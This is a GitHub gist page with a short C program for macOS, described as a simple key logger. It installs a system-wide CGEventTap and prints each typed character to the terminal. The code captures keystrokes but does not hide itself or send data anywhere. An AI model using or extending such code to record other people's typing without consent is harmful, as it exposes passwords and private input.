Skip to content

Instantly share code, notes, and snippets.

@indragiek
Created November 29, 2012 01:10
Show Gist options
  • Star 14 You must be signed in to star a gist
  • Fork 1 You must be signed in to fork a gist
  • Save indragiek/4166038 to your computer and use it in GitHub Desktop.
Save indragiek/4166038 to your computer and use it in GitHub Desktop.
Simple key logger for OS X using CGEventTap
// Super simple key logger that uses a CGEventTap to log
// the unicode strings for each key down event
// Doesn't handle special keys (enter, backspace, etc.)
#include <stdio.h>
#import <Carbon/Carbon.h>
#import <ApplicationServices/ApplicationServices.h>
CGEventRef loggerCallback(CGEventTapProxy proxy, CGEventType type, CGEventRef event, void* context)
{
if (type == kCGEventKeyDown) {
UniChar str[10];
UniCharCount strLength;
CGEventKeyboardGetUnicodeString(event, 10, &strLength, str);
printf("%c", str[0]);
}
return event;
}
int main(int argc, const char * argv[])
{
CFMachPortRef tap = CGEventTapCreate(kCGHIDEventTap,
kCGHeadInsertEventTap,
0, kCGEventMaskForAllEvents,
loggerCallback, NULL);
CFRunLoopSourceRef runLoopSource = CFMachPortCreateRunLoopSource(kCFAllocatorDefault, tap, 0);
CFRunLoopAddSource(CFRunLoopGetCurrent(), runLoopSource, kCFRunLoopCommonModes);
CGEventTapEnable(tap, true);
CFRunLoopRun();
return 0;
}
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment